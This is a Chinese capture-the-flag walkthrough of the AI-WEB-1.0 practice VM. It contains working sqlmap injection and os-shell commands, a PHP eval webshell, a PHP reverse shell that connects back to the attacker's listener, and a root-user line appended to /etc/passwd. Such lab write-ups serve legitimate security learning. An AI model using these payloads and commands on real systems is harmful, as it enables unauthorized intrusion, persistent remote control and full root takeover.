AI-WEB-1.0小白练习解题过程

目录

定位靶机

信息收集

漏洞探测:

漏洞利用

权限巩固:

权限提升

相关知识点简述:

使用组合路径触发os-shell的原因:

组合路径的标准:

AI-WEB-1.0的整体解题思路:

ai-web-1.0是靶机

kali作为攻击机

定位靶机

查看kali的ip,ai-web使用net模式,和kali在同一网段下(排除1,2,254ip)

kali的ip为192.168.111.139

使用nmap扫描kali在的网段

所以ai-web-1.0的ip地址为192.168.111.140

使用本机的浏览器访问ai-web-1.0

信息收集

使用kali中的dirsearch工具扫描http://192.168.111.140

发现有/robots.txt文件

使用本机浏览器访问http://192.168.111.140/robots.txt

访问这两个页面

http://192.168.111.140//m3diNf0/访问失败

http://192.168.111.140/se3reTdir777/uploads/访问失败

使用dirsearch扫描查看有没有隐藏文件

扫描发现http://192.168.111.140/m3diNf0/ 有info.php文件

访问info.php文件

是info界面,我们可以查看到网页的详细路径

我们换工具,使用dirb进行扫描

(又使用dirsearch扫了http://192.168.111.140/se3reTdir777/ 三个相关的url都已经扫描完,都没有我们注入点,所以换工具继续扫描)

给出的两个扫描后什么也没有发现,第二个有二级目录,我们尝试去扫描一下,发现有index.php

其实在这里,我们可以直接使用dirb扫描http://192.168.111.140

也有index.php 但是访问啥也没有(只是测试哈,练习一下工具的使用)

使用本机访问http://192.168.111.140/se3reTdir777/index.php

结果出现了这个界面

重启一下ai-web就好了

正常访问的到的是这个界面:

漏洞探测:

id中输入1

输入1'后报错(引号必须是英文,中文不会报错)

这里存在注入点

漏洞利用

我们使用sqlmap进行sql注入

使用bp抓包查看注入点:开启bp,在user id中输入1',抓包

最后一行是注入点,使用sqlmap爆表名(sqlmap我是用的本机天狐工具箱的)

注:bp抓包的作用:确认请求方式(POST)和注入参数(uid),为SQLMap 自动化注入提供准确的请求信息。

python sqlmap.py -u "http://192.168.111.140/se3reTdir777" --data "uid=1%E2%80%98&Operation=Submit" --dbs --batch

爆表名

python sqlmap.py -u "http://192.168.111.140/se3reTdir777" --data "uid=1%E2%80%98&Operation=Submit" -D aiweb1 --tables --batch

查字段

python sqlmap.py -u "http://192.168.111.140/se3reTdir777" --data "uid=1%E2%80%98&Operation=Submit" -D aiweb1 -T systemUser --columns --batch

按照常规的sql注入的查询方式,我们将所有的字段都整出来了,但是没有我们需要的信息,那就使用sqlmap的-os-shell命令

成功执行-os-shell的必要条件有三个:
1.网站必须是root权限
2.网站的绝对路径已知(前面暴露的info.php文件已经拿到绝对路径)
3.GPC为off(php主动转义的功能关闭)

使用sqlmap的 -os-shell命令

python sqlmap.py -u "http://192.168.111.140/se3reTdir777" --data "uid=1%E2%80%98&Operation=Submit" --level=3 --os-shell

4

2

/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

注:(这个路径是网站的根路径/home/www/html/web1x443290o2sdf92213加/se3reTdir777/uploads/ 组合成的)

我们使用一句话木马并上传

在kali桌面上创建1.php文件(1.php文件中输入以下的一句话木马)

<?php @eval($_REQUEST[666]);?>

在kali打开桌面上的终端:使用root模式输入

sqlmap -u "http://192.168.111.140/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write 1.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/1.php

exit退出os-shell界面

重新进入os-shell

(4,2,/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/)

使用ls查看一句话木马有没有创建成功

创建成功

一句话木马的作用:蚁剑、菜刀等工具可通过一句话木马,将“命令执行权限“ 转化为“可视化文件管理+终端控制”

使用蚁剑连接:

刚开始使用蚁剑的时候,初始化(不要自己新建文件夹,使用自己在网页上下载的蚁剑的文件夹)

点击添加,双击刚才添加的

页面右键在此打开终端

权限巩固:

NC反弹shell

在kali上创建一个2.php文件

<?php

$sock=fsockopen("kali的ip地址",4444);

exec("/bin/bash -i <&3 >&3 2>&3");

?>

创建成功后,使用上传1.php木马的方式上传2.php

使用os-shell,ls查看是否上传成功

上传成功

使用反弹shell的原因:

蚁剑连接依赖Web服务,若Web服务重启,连接会中断;而反弹Shell是直接的系统终端连接,稳定性更高,且支持后续提权操作。

Netcat(简称NC)是“网络瑞士军刀”,可实现端口监听、数据传输、shell转发等功能,此处用于建立Kali与靶机的双向通信通道。

kali上监听4444端口

nc -lvvp 4444

在sqlmap上运行2.php

php 2.php

浅等一下,显示监听成功

会反弹出来服务器的shell

在SQLMap的os-shell中运行:php 2.php,Kali 终端成功接收到靶机的bash shell(用户为www-data,网站运行用户,权限较低)。

权限提升

这下我们开始提权

whoami

创建一个用户,使用openssl命令

openssl passwd -1 -salt h 123456

注意:使用openssl passwd的作用:生成符合 Linux 密码格式的哈希值,避免明文密码被拦截或日志记录。$1$h$DcmWd6ffV7pl4.0.1QBQ40:0:0是123456的哈希码。

将用户写入/etc/passwd文件中

echo 'h:$1$h$DcmWd6ffV7pl4.0.1QBQ40:0:0:root:/root:/bin/bash'>>/etc/passwd

查看用户是否写入成功

cat /etc/passwd

使用脚本提升为交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

切换用户

su h

开始使用创建的用户查看服务器的目录

root属于最高权限,一般直接查看root文件,就可以获取到我们需要的flag

相关知识点简述:

使用组合路径触发os-shell的原因:

os-shell是 sqlmap 通过 SQL 注入漏洞在靶机上创建的 “临时命令执行通道”,本质就是在靶机 Web 目录下生成一个可执行命令的 PHP 脚本(如文档中的tmpbuixt.php),再通过访问该脚本实现命令交互。

生成并调用的关键条件是:

1、路径是否满足 Web 服务可访问

2、有写入权限

/home/www/html/web1x443290o2sdf92213/是网页根目录,确定是可以访问的

/se3reTdir777/uploads/uploads目录是典型的 文件上传目录—— 这类目录为支持用户上传功能(如图片、文档),默认配置了写入权限(允许 Web 运行用户www-data写入文件)

注:se3reTdir777/uploads/被设计为上传目录,因此开发者会主动为其配置写入权限(通常是755或777),以确保用户上传功能可用。这是该目录具备写入权限的根本原因

单一路径无法满足关键条件,所以使用组合路径

组合路径的标准:

1、路径必须在 Web 服务的 “可访问范围” 内(即就是以网站绝对根路径为基础的路径)

2、路径必须具备写入权限(针对 Web 运行用户www-data

常见的子目录是:上传目录,日志目录,缓存目录

3、组合的路径在前期的信息收集的工作中,要求验证是有效的,真实存在的(用dirsearch扫描确认存在)

AI-WEB-1.0的整体解题思路:

目标定位→信息搜集→漏洞探测→漏洞利用→权限巩固→权限提升

定位靶机:通过网段扫描锁定 Web 服务靶机;

信息搜集:从 robots.txt 挖掘敏感路径,从 info.php 获取关键配置;

漏洞探测:通过单引号测试确认 SQL 注入漏洞;

漏洞利用:用 SQLMap 获取命令执行权限,上传木马建立控制;

权限巩固:反弹 Shell 建立稳定终端连接;

权限提升:利用文件权限漏洞写入 root 用户,实现完全控制;

每一步都基于前一步获取的信息进行深入的操作。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值